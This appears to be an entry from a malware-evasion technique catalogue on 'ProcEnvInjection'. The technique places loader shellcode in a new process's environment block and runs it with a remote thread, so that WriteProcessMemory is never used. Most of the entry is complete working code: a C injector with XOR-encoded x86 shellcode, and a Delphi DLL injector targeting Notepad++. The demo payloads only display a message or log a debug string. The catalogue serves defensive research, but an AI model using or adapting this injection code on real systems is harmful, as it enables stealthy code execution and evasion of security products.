ProcEnvInjection - Remote code injection by abusing process environment strings

This method allows to inject custom code into a remote process without using WriteProcessMemory - It will use the lpEnvironment parameter in CreateProcess to copy the code into the target process. This technique can be used to load a DLL into a remote process, or simply execute a block of code.

The lpEnvironment parameter in CreateProcess allows us to specify a custom environment string for the target process. The environment string contains a set of environment variable entries, such as PATH=C:\Windows\system32;C:\Windows. Each environment variable in the list is separated by a null terminator character, and the final entry in the list is a blank string (two null terminator characters). When a new process is created, the environment string will be copied to the virtual memory of the process and it can then be accessed via the PEB.

In summary, the injector process takes the following steps:

  1. Create a generic “code loader” block which doesn’t contain any 0x00 characters - values will be encoded with XOR if necessary.
  2. Use GetEnvironmentStringsW to retrieve the existing environment string and copy this to a temporary buffer. Our “generic code loader” entry will be appended to the end of the existing entries. Some programs make use of the environment variables, so it is not a good idea to overwrite the existing entries.
  3. Create a suspended instance of the target EXE process using CreateProcess with our custom environment string lpEnvironment. We will also use the CREATE_UNICODE_ENVIRONMENT flag to specify a wide-char environment value, otherwise the string will be converted from ANSI to wide-char which will break our loader code.
  4. Use NtQueryInformationProcess to retrieve the PEB address for the target process.
  5. Call NtCreateThreadEx to call Sleep(0) in the target process and wait for the thread to exit. This will force the necessary PEB fields to become initialised in the target process.
  6. Calculate the address of the environment string in the target process (PEB-> RtlUserProcessParameters -> Environment)
  7. Locate the address of our loader code within the environment string. Call VirtualProtectEx to make this data executable.
  8. Call NtCreateThreadEx to execute the loader code within the target process. This code will read the final payload back from the injector process and execute it.
  9. Restore the original memory protection after the payload has finished executing.
  10. Call ResumeThread to continue normal execution of the target process.

U1235

Code Snippets

Unprotect

Description

Author: @x86matthew

#include <stdio.h>
#include <windows.h>

#define LOADER_CODE_OFFSET 8

struct PROCESS_BASIC_INFORMATION
{
	DWORD ExitStatus;
	BYTE *PebBaseAddress;
	DWORD *AffinityMask;
	DWORD BasePriority;
	DWORD *UniqueProcessId;
	DWORD *InheritedFromUniqueProcessId;
};

#define ProcessBasicInformation 0

DWORD (WINAPI *NtQueryInformationProcess)(HANDLE hProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, DWORD ProcessInformationLength, DWORD *ReturnLength);
DWORD (WINAPI *NtCreateThreadEx)(HANDLE *phThreadHandle, DWORD DesiredAccess, PVOID ObjectAttributes, HANDLE hProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, DWORD *pZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);

BYTE bGlobal_LoaderCode[] =
{
	// prefix
	'A', 0x00, 'A', 0x00, 'A', 0x00, '=', 0x00,

	// push edi
	0x57,
	// push esi
	0x56,

	// push 0x40 (PAGE_EXECUTE_READWRITE)
	0x6A, 0x40,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (MEM_COMMIT | MEM_RESERVE)
	0x50,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (Size)
	0x50,
	// xor eax, eax
	0x33, 0xC0,
	// push eax (BaseAddr)
	0x50,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (VirtualAlloc)
	0xFF, 0xD0,

	// mov edi, eax (DataAddr)
	0x8B, 0xF8,

	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (ProcessID)
	0x50,
	// xor eax, eax
	0x33, 0xC0,
	// push eax (bInheritHandle)
	0x50,
	// push 0x10 (PROCESS_VM_READ)
	0x6A, 0x10,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (OpenProcess)
	0xFF, 0xD0,

	// mov esi, eax (ProcessHandle)
	0x8B, 0xF0,

	// xor eax, eax
	0x33, 0xC0,
	// push eax (NumberOfBytesRead)
	0x50,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (BytesToRead)
	0x50,
	// push edi (ReadBuffer)
	0x57,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (BaseAddr)
	0x50,
	// push esi (ProcessHandle)
	0x56,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (ReadProcessMemory)
	0xFF, 0xD0,

	// push esi (ProcessHandle)
	0x56,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (CloseHandle)
	0xFF, 0xD0,

	// pushad
	0x60,
	// call edi (DataAddr)
	0xFF, 0xD7,
	// popad
	0x61,

	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (MEM_RELEASE)
	0x50,
	// xor eax, eax
	0x33, 0xC0,
	// push eax (Size)
	0x50,
	// push edi (DataAddr)
	0x57,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (VirtualFree)
	0xFF, 0xD0,

	// pop esi
	0x5E,
	// pop edi
	0x5F,

	// return from thread cleanly - can't use "retn 4"
	// pop eax
	0x58,
	// pop ecx
	0x59,
	// push eax
	0x50,
	// ret
	0xC3,

	// (end of string - 2 widechar null characters)
	0x00, 0x00, 0x00, 0x00
};

DWORD EncodeDwordValue(DWORD dwValue, DWORD *pdwXorValue, DWORD *pdwEncodedValue)
{
	BYTE bOrigValue[4];
	BYTE bXorValue[4];
	BYTE bEncodedValue[4];

	// copy original value
	memcpy((void*)bOrigValue, (void*)&dwValue, sizeof(DWORD));

	// encode value
	for(DWORD i = 0; i < sizeof(DWORD); i++)
	{
		bXorValue[i] = 0x01;
		for(;;)
		{
			// ensure the value contains no 0x00 bytes
			bEncodedValue[i] = bOrigValue[i] ^ bXorValue[i];
			if(bEncodedValue[i] == 0 || bXorValue[i] == 0)
			{
				bXorValue[i]++;
				continue;
			}

			break;
		}
	}

	// store values
	*pdwXorValue = *(DWORD*)bXorValue;
	*pdwEncodedValue = *(DWORD*)bEncodedValue;

	return 0;
}

DWORD StartInjectedProcess(char *pExePath, BYTE *pPayload, DWORD dwPayloadSize)
{
	STARTUPINFO StartupInfo;
	PROCESS_INFORMATION ProcessInfo;
	BYTE bLoaderCode_Copy[sizeof(bGlobal_LoaderCode)];
	PROCESS_BASIC_INFORMATION ProcessBasicInfoData;
	BYTE *pRemotePtr_RtlUserProcessParameters = NULL;
	BYTE *pRemotePtr_EnvironmentStr = NULL;
	DWORD dwOriginalProtect = 0;
	HANDLE hThread = NULL;
	DWORD dwTempProtect = 0;
	wchar_t *pOrigEnvBlock = NULL;
	DWORD dwOrigEnvBlockTotalLengthBytes = 0;
	DWORD dwCurrEnvEntryLength = 0;
	wchar_t *pCurrEnvEntry = NULL;
	BYTE *pNewEnvBlock = NULL;

	// ensure the loader code is 16-bit aligned
	if((sizeof(bGlobal_LoaderCode) % 2) != 0)
	{
		printf("Error: Loader code is out of alignment\n");
		// loader code is out of alignment - add an extra 0x00 character to the end of the data
		return 1;
	}

	printf("Generating loader code...\n");

	// encode values in the loader code to ensure no 0x00 characters exist
	EncodeDwordValue(MEM_COMMIT | MEM_RESERVE, (DWORD*)&bGlobal_LoaderCode[13], (DWORD*)&bGlobal_LoaderCode[18]);
	EncodeDwordValue(dwPayloadSize, (DWORD*)&bGlobal_LoaderCode[24], (DWORD*)&bGlobal_LoaderCode[29]);
	EncodeDwordValue((DWORD)VirtualAlloc, (DWORD*)&bGlobal_LoaderCode[38], (DWORD*)&bGlobal_LoaderCode[43]);
	EncodeDwordValue(GetCurrentProcessId(), (DWORD*)&bGlobal_LoaderCode[52], (DWORD*)&bGlobal_LoaderCode[57]);
	EncodeDwordValue((DWORD)OpenProcess, (DWORD*)&bGlobal_LoaderCode[68], (DWORD*)&bGlobal_LoaderCode[73]);
	EncodeDwordValue(dwPayloadSize, (DWORD*)&bGlobal_LoaderCode[85], (DWORD*)&bGlobal_LoaderCode[90]);
	EncodeDwordValue((DWORD)pPayload, (DWORD*)&bGlobal_LoaderCode[97], (DWORD*)&bGlobal_LoaderCode[102]);
	EncodeDwordValue((DWORD)ReadProcessMemory, (DWORD*)&bGlobal_LoaderCode[109], (DWORD*)&bGlobal_LoaderCode[114]);
	EncodeDwordValue((DWORD)CloseHandle, (DWORD*)&bGlobal_LoaderCode[122], (DWORD*)&bGlobal_LoaderCode[127]);
	EncodeDwordValue(MEM_RELEASE, (DWORD*)&bGlobal_LoaderCode[138], (DWORD*)&bGlobal_LoaderCode[143]);
	EncodeDwordValue((DWORD)VirtualFree, (DWORD*)&bGlobal_LoaderCode[153], (DWORD*)&bGlobal_LoaderCode[158]);

	printf("Appending code to existing environment string...\n");

	// get existing environment block
	pOrigEnvBlock = GetEnvironmentStringsW();
	if(pOrigEnvBlock == NULL)
	{
		printf("Error: Failed to read environment strings\n");
		return 1;
	}

	// calculate length of existing environment block
	for(;;)
	{
		// get current environment string entry
		pCurrEnvEntry = (wchar_t*)((BYTE*)pOrigEnvBlock + dwOrigEnvBlockTotalLengthBytes);

		// calculate length
		dwCurrEnvEntryLength = wcslen(pCurrEnvEntry);
		if(dwCurrEnvEntryLength == 0)
		{
			break;
		}

		// increase total size counter
		dwOrigEnvBlockTotalLengthBytes += ((dwCurrEnvEntryLength + 1) * sizeof(wchar_t));
	}

	// allocate a new environment string buffer
	pNewEnvBlock = (BYTE*)VirtualAlloc(NULL, dwOrigEnvBlockTotalLengthBytes + sizeof(bGlobal_LoaderCode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if(pNewEnvBlock == NULL)
	{
		printf("Error: Failed to allocate local memory\n");

		// error
		FreeEnvironmentStringsW(pOrigEnvBlock);

		return 1;
	}

	// copy the original values and append the loader code
	memcpy((void*)pNewEnvBlock, pOrigEnvBlock, dwOrigEnvBlockTotalLengthBytes);
	memcpy((void*)(pNewEnvBlock + dwOrigEnvBlockTotalLengthBytes), bGlobal_LoaderCode, sizeof(bGlobal_LoaderCode));

	// free temporary environment string buffer
	FreeEnvironmentStringsW(pOrigEnvBlock);

	printf("Creating target process: '%s'...\n", pExePath);

	// launch target process with the injection code in the environment strings	
	memset(&StartupInfo, 0, sizeof(StartupInfo));
	StartupInfo.cb = sizeof(StartupInfo);
	if(CreateProcess(NULL, pExePath, NULL, NULL, 0, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT | CREATE_SUSPENDED, (wchar_t*)pNewEnvBlock, NULL, &StartupInfo, &ProcessInfo) == 0)
	{
		printf("Error: Failed to launch target process\n");

		// error
		VirtualFree(pNewEnvBlock, 0, MEM_RELEASE);

		return 1;
	}

	// free environment block buffer
	VirtualFree(pNewEnvBlock, 0, MEM_RELEASE);

	printf("Locating target code in remote process...\n");

	// get process info
	memset((void*)&ProcessBasicInfoData, 0, sizeof(ProcessBasicInfoData));
	if(NtQueryInformationProcess(ProcessInfo.hProcess, ProcessBasicInformation, &ProcessBasicInfoData, sizeof(ProcessBasicInfoData), NULL) != 0)
	{
		printf("Error: Failed to retrieve process info\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// create a thread that calls Sleep(0) to initialise the environment strings in the PEB
	if(NtCreateThreadEx(&hThread, 0x001FFFFF, NULL, ProcessInfo.hProcess, Sleep, (LPVOID)0, 0, NULL, 0, 0, NULL) != 0)
	{
		printf("Error: Failed to create Sleep thread in remote process\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);

	// read RtlUserProcessParameters ptr from PEB
	if(ReadProcessMemory(ProcessInfo.hProcess, (void*)(ProcessBasicInfoData.PebBaseAddress + 0x10), (void*)&pRemotePtr_RtlUserProcessParameters, sizeof(BYTE*), NULL) == 0)
	{
		printf("Error: Failed to read RtlUserProcessParameters value from PEB\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// read EnvironmentStr ptr from RtlUserProcessParameters
	if(ReadProcessMemory(ProcessInfo.hProcess, (void*)(pRemotePtr_RtlUserProcessParameters + 0x48), (void*)&pRemotePtr_EnvironmentStr, sizeof(BYTE*), NULL) == 0)
	{
		printf("Error: Failed to read EnvironmentStr value from RtlUserProcessParameters\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// update environment string ptr to ignore the original bytes
	pRemotePtr_EnvironmentStr += dwOrigEnvBlockTotalLengthBytes;

	// read EnvironmentStr value
	memset(bLoaderCode_Copy, 0, sizeof(bLoaderCode_Copy));
	if(ReadProcessMemory(ProcessInfo.hProcess, (void*)pRemotePtr_EnvironmentStr, (void*)bLoaderCode_Copy, sizeof(bGlobal_LoaderCode), NULL) == 0)
	{
		printf("Error: Failed to read loader data from EnvironmentStr\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// ensure the loader code has been copied correctly
	if(memcmp(bLoaderCode_Copy, bGlobal_LoaderCode, sizeof(bGlobal_LoaderCode)) != 0)
	{
		printf("Error: Invalid loader data\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	printf("Executing code in remote process...\n");

	// temporarily make the loader code executable
	if(VirtualProtectEx(ProcessInfo.hProcess, pRemotePtr_EnvironmentStr, sizeof(bGlobal_LoaderCode), PAGE_EXECUTE_READWRITE, &dwOriginalProtect) == 0)
	{
		printf("Error: Failed to update memory protection\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// execute payload
	if(NtCreateThreadEx(&hThread, 0x001FFFFF, NULL, ProcessInfo.hProcess, (BYTE*)(pRemotePtr_EnvironmentStr + LOADER_CODE_OFFSET), (LPVOID)0, 0, NULL, 0, 0, NULL) != 0)
	{
		printf("Error: Failed to create code loader thread in remote process\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);

	// restore original protection value
	if(VirtualProtectEx(ProcessInfo.hProcess, pRemotePtr_EnvironmentStr, sizeof(bGlobal_LoaderCode), dwOriginalProtect, &dwTempProtect) == 0)
	{
		printf("Error: Failed to update memory protection\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// resume main thread
	ResumeThread(ProcessInfo.hThread);

	// close handles
	CloseHandle(ProcessInfo.hThread);
	CloseHandle(ProcessInfo.hProcess);

	return 0;
}

int main(int argc, char *argv[])
{
	char *pExePath = NULL;

	BYTE bPayload[] =
	{
		// string: <user32.dll>
		// push 0x00006C6C
		0x68, 0x6C, 0x6C, 0x00, 0x00,
		// push 0x642E3233
		0x68, 0x33, 0x32, 0x2E, 0x64,
		// push 0x72657375
		0x68, 0x75, 0x73, 0x65, 0x72,
		// mov ecx, esp
		0x8B, 0xCC,
		// push ecx (ModuleName)
		0x51,
		// mov eax, LoadLibraryA
		0xB8, 0x44, 0x33, 0x22, 0x11,
		// call eax
		0xFF, 0xD0,

		 // string: <Code injected successfully!>
		// push 0x0021796C
		0x68, 0x6C, 0x79, 0x21, 0x00,
		// push 0x6C756673
		0x68, 0x73, 0x66, 0x75, 0x6C,
		// push 0x73656363
		0x68, 0x63, 0x63, 0x65, 0x73,
		// push 0x75732064
		0x68, 0x64, 0x20, 0x73, 0x75,
		// push 0x65746365
		0x68, 0x65, 0x63, 0x74, 0x65,
		// push 0x6A6E6920
		0x68, 0x20, 0x69, 0x6E, 0x6A,
		// push 0x65646F43
		0x68, 0x43, 0x6F, 0x64, 0x65,
		// mov ecx, esp
		0x8B, 0xCC,
		// string: <www.x86matthew.com>
		// push 0x00006D6F
		0x68, 0x6F, 0x6D, 0x00, 0x00,
		// push 0x632E7765
		0x68, 0x65, 0x77, 0x2E, 0x63,
		// push 0x68747461
		0x68, 0x61, 0x74, 0x74, 0x68,
		// push 0x6D363878
		0x68, 0x78, 0x38, 0x36, 0x6D,
		// push 0x2E777777
		0x68, 0x77, 0x77, 0x77, 0x2E,
		// mov ebx, esp
		0x8B, 0xDC,
		// push MB_OK
		0x6A, 0x00,
		// push ebx (Caption)
		0x53,
		// push ecx (Text)
		0x51,
		// push hWnd
		0x6A, 0x00,
		// mov eax, MessageBoxA
		0xB8, 0x44, 0x33, 0x22, 0x11,
		// call eax
		0xFF, 0xD0,

		// add esp, 0x3C
		0x83, 0xC4, 0x3C,

		// ret
		0xC3
	};

	// set function addresses
	*(DWORD*)&bPayload[19] = (DWORD)LoadLibraryA;
	*(DWORD*)&bPayload[96] = (DWORD)MessageBoxA;

	printf("ProcEnvInjection - www.x86matthew.com\n\n");

	// check params
	if(argc != 2)
	{
		printf("Usage: %s [exe_path]\n\n", argv[0]);

		return 1;
	}

	// get cmd param
	pExePath = argv[1];
	
	// get NtQueryInformationProcess function
	NtQueryInformationProcess = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess");
	if(NtQueryInformationProcess == NULL)
	{
		return 1;
	}

	// get NtCreateThreadEx function
	NtCreateThreadEx = (unsigned long (__stdcall *)(void ** ,unsigned long,void *,void *,void *,void *,unsigned long,unsigned long *,unsigned long,unsigned long,void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
	if(NtCreateThreadEx == NULL)
	{
		return 1;
	}

	// start target process
	if(StartInjectedProcess(pExePath, bPayload, sizeof(bPayload)) != 0)
	{
		return 1;
	}

	printf("Injected successfully\n");

	return 0;
}

Jean-Pierre LESUEUR

Description

This code snippet demonstrate how to Inject a DLL in a remote process without using WriteProcessMemory and VirtualAlloc(Ex).

(*
    Example of DLL Code to test DLL Injection:
    ------------------------------------------

    BOF>>

    library UnprotectTestDLL;

          uses
            WinApi.Windows,
            System.SysUtils,
            System.Classes;

          {$R *.res}

          procedure DllMain(AReason: Integer);
          var AMessage   : String;
              AStrReason : String;
          begin
            case AReason of
              DLL_PROCESS_DETACH : AStrReason := 'DLL_PROCESS_DETACH';
              DLL_PROCESS_ATTACH : AStrReason := 'DLL_PROCESS_ATTACH';
              DLL_THREAD_ATTACH  : AStrReason := 'DLL_THREAD_ATTACH';
              DLL_THREAD_DETACH  : AStrReason := 'DLL_THREAD_DETACH';
              else
                AStrReason := 'REASON_UNKNOWN';
            end;

            AMessage := Format('(%s): Injected! Living in %d (%s) process.', [
              AStrReason,
              GetCurrentProcessId(),
              ExtractFileName(GetModuleName(0))
            ]);
            ///

            OutputDebugStringW(PWideChar(AMessage));
          end;

          begin
            DllProc := DllMain;
            DllMain(DLL_PROCESS_ATTACH)


    <<EOF
*)

// Support both x86-32 and x86-64

program ProcEnvInjection_DLLInjection;

{$APPTYPE CONSOLE}

{$R *.res}

uses
  Winapi.Windows,
  System.Math,
  System.SysUtils;

type
  EWindowsException = class(Exception)
  private
    FLastError : Integer;
  public
    {@C}
    constructor Create(const WinAPI : String); overload;

    {@G}
    property LastError : Integer read FLastError;
  end;

  {$IFDEF WIN64}
    PProcessBasicInformation = ^TProcessBasicInformation;
    TProcessBasicInformation = record
    ExitStatus         : Int64;
    PebBaseAddress     : Pointer;
    AffinityMask       : Int64;
    BasePriority       : Int64;
    UniqueProcessId    : Int64;
    InheritedUniquePID : Int64;
    end;
  {$ELSE}
    PProcessBasicInformation = ^TProcessBasicInformation;
    TProcessBasicInformation = record
    ExitStatus         : DWORD;
    PebBaseAddress     : Pointer;
    AffinityMask       : DWORD;
    BasePriority       : DWORD;
    UniqueProcessId    : DWORD;
    InheritedUniquePID : DWORD;
    end;
  {$ENDIF}

  UNICODE_STRING = record
    Length        : Word;
    MaximumLength : Word;
    Buffer        : LPWSTR;
  end;

  CURDIR = record
    DosPath : UNICODE_STRING;
    Handle  : THandle;
  end;

  RTL_DRIVE_LETTER_CURDIR = record
    Flags     : Word;
    Length    : Word;
    TimeStamp : ULONG;
    DosPath   : UNICODE_STRING;
  end;

  TRTLUserProcessParameters = record
    MaximumLength      : ULONG;
    Length             : ULONG;
    Flags              : ULONG;
    DebugFlags         : ULONG;
    ConsoleHandle      : THANDLE;
    ConsoleFlags       : ULONG;
    StandardInput      : THANDLE;
    StandardOutput     : THANDLE;
    StandardError      : THANDLE;
    CurrentDirectory   : CURDIR;
    DllPath            : UNICODE_STRING;
    ImagePathName      : UNICODE_STRING;
    CommandLine        : UNICODE_STRING;
    Environment        : Pointer;
    StartingX          : ULONG;
    StartingY          : ULONG;
    CountX             : ULONG;
    CountY             : ULONG;
    CountCharsX        : ULONG;
    CountCharsY        : ULONG;
    FillAttribute      : ULONG;
    WindowFlags        : ULONG;
    ShowWindowFlags    : ULONG;
    WindowTitle        : UNICODE_STRING;
    DesktopInfo        : UNICODE_STRING;
    ShellInfo          : UNICODE_STRING;
    RuntimeData        : UNICODE_STRING;
    CurrentDirectories : array [0 .. 32-1] of RTL_DRIVE_LETTER_CURDIR;
  end;
  PRTLUserProcessParameters = ^TRTLUserProcessParameters;

  TPEB = record
    Reserved1              : array [0..2-1] of Byte;
    BeingDebugged          : Byte;
    Reserved2              : Byte;
    Reserved3              : array [0..2-1] of Pointer;
    Ldr                    : Pointer;
    ProcessParameters      : PRTLUserProcessParameters;
    Reserved4              : array [0..103-1] of Byte;
    Reserved5              : array [0..52-1] of Pointer;
    PostProcessInitRoutine : Pointer;
    Reserved6              : array [0..128-1] of byte;
    Reserved7              : Pointer;
    SessionId              : ULONG;
  end;
  PPEB = ^TPEB;

function NtQueryInformationProcess(
  ProcessHandle : THandle;
  ProcessInformationClass : DWORD;
  ProcessInformation : Pointer;
  ProcessInformationLength : ULONG;
  ReturnLength : PULONG
): LongInt; stdcall; external 'ntdll.dll';

const PROCESS_BASIC_INFORMATION = 0;

constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
  FLastError := GetLastError();

  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
      WinAPI,
      FLastError,
      SysErrorMessage(FLastError)
  ]);

  ///
  inherited Create(AFormatedMessage);
end;

function RandomString(ALength : Word) : String;
const AChars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
var I : Integer;
begin
  result := '';
  ///

  randomize;

  for I := 1 to ALength do begin
      result := result + AChars[random(length(AChars))+1];
  end;
end;


function InjectDLL(const ADLLPath : String; AHostApplication: String; const AEggLength : Cardinal = 5) : Boolean;
var AStartupInfo              : TStartupInfo;
    AProcessInfo              : TProcessInformation;
    AEnvLen                   : Cardinal;
    pEnvBlock                 : Pointer;
    ARetLen                   : Cardinal;
    PBI                       : TProcessBasicInformation;
    APEB                      : TPEB;
    ABytesRead                : SIZE_T;
    ARTLUserProcessParameters : TRTLUserProcessParameters;
    i                         : Integer;
    pOffset                   : Pointer;
    APayloadEgg               : String;
    APayloadEnv               : String;
    ABuffer                   : array of byte;
    pPayloadOffset            : Pointer;
    AThreadId                 : Cardinal;
begin
  ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
  AStartupInfo.cb := SizeOf(TStartupInfo);

  ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));

  result := False;

  APayloadEgg := RandomString(AEggLength);
  APayloadEnv := Format('%s=%s', [APayloadEgg, ADLLPath]);

  AEnvLen := (Length(APayloadEnv) * SizeOf(WideChar));

  GetMem(pEnvBlock, AEnvLen);
  try
    ZeroMemory(pEnvBlock, AEnvLen);
    Move(PWideChar(APayloadEnv)^, pEnvBlock^, AEnvLen);
    ///

    UniqueString(AHostApplication);

    if not CreateProcessW(
        PWideChar(AHostApplication),
        nil,
        nil,
        nil,
        False,
        CREATE_NEW_CONSOLE or CREATE_UNICODE_ENVIRONMENT,
        pEnvBlock,
        nil,
        AStartupInfo,
        AProcessInfo
    ) then
      raise EWindowsException.Create('CreateProcessW');

    // Tiny trick to be sure new process is completely initailized.
    // Remove bellow if you find it problematic.
    WaitForInputIdle(AProcessInfo.hProcess, INFINITE);

    if NtQueryInformationProcess(
        AProcessInfo.hProcess,
        PROCESS_BASIC_INFORMATION,
        @PBI,
        SizeOf(TProcessBasicInformation),
        @ARetLen
    ) <> ERROR_SUCCESS then
      raise EWindowsException.Create('NtQueryInformationProcess');

    if not ReadProcessMemory(
        AProcessInfo.hProcess,
        PBI.PebBaseAddress,
        @APEB,
        SizeOf(TPEB),
        ABytesRead
    ) then
      raise EWindowsException.Create('ReadProcessMemory');

    if not ReadProcessMemory(
        AProcessInfo.hProcess,
        APEB.ProcessParameters,
        @ARTLUserProcessParameters,
        SizeOf(TRTLUserProcessParameters),
        ABytesRead
    ) then
      raise EWindowsException.Create('ReadProcessMemory');

    // Scan Environment Variable Memory Block
    I := 0;

    SetLength(ABuffer, AEggLength * SizeOf(WideChar));

    pPayloadOffset := nil;

    while true do begin
      pOffset := Pointer(NativeUInt(ARTLUserProcessParameters.Environment) + I);
      ///

      if not ReadProcessMemory(
          AProcessInfo.hProcess,
          pOffset,
          @ABuffer[0],
          Length(ABuffer),
          ABytesRead
      ) then
        raise EWindowsException.Create('ReadProcessMemory');

      if CompareMem(PWideChar(ABuffer), PWideChar(APayloadEgg), Length(ABuffer)) then begin
        pPayloadOffset := Pointer(NativeUInt(pOffset) + Length(ABuffer) + SizeOf(WideChar) { =\0 });

        break;
      end;

      Inc(I, 2);
    end;

    SetLength(ABuffer, 0);

    if not Assigned(pPayloadOffset) then
      raise Exception.Create('Could not locate Injected DLL Path offset from remote process environment.');

    // Debug, read DLL path from remote process
//    SetLength(ABuffer, AEnvLen - (5 * SizeOf(WideChar)));
//    ReadProcessMemory(
//        AProcessInfo.hProcess,
//        pPayloadOffset,
//        @ABuffer[0],
//        Length(ABuffer),
//        ABytesRead
//    );
//    WriteLn(PWideChar(ABuffer));

    // Start DLL Injection
    if CreateRemoteThread(
        AProcessInfo.hProcess,
        nil,
        0,
        GetProcAddress(GetModuleHandle('Kernel32.dll'), 'LoadLibraryW'),
        pPayloadOffset,
        0,
        AThreadId
    ) = 0 then
      raise EWindowsException.Create('CreateRemoteThread');
  finally
    FreeMem(pEnvBlock, AEnvLen);
  end;
end;

begin
  try
    InjectDLL('C:\Temp\UnprotectTestDLL.dll', 'C:\Program Files\Notepad++\notepad++.exe');
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.

Additional Resources

External Links

Comment

Subscribe to our Newsletter


The information entered into this form is mandatory. It will be subjected to computer processing. It is processed by computer in order to support our users and readers. The recipients of the data will be : contact@unprotect.it.

According to the Data Protection Act of January 6th, 1978, you have at any time, a right of access to and rectification of all of your personal data. If you wish to exercise this right and gain access to your personal data, please write to Thomas Roccia at contact@unprotect.it.

You may also oppose, for legitimate reasons, the processing of your personal data.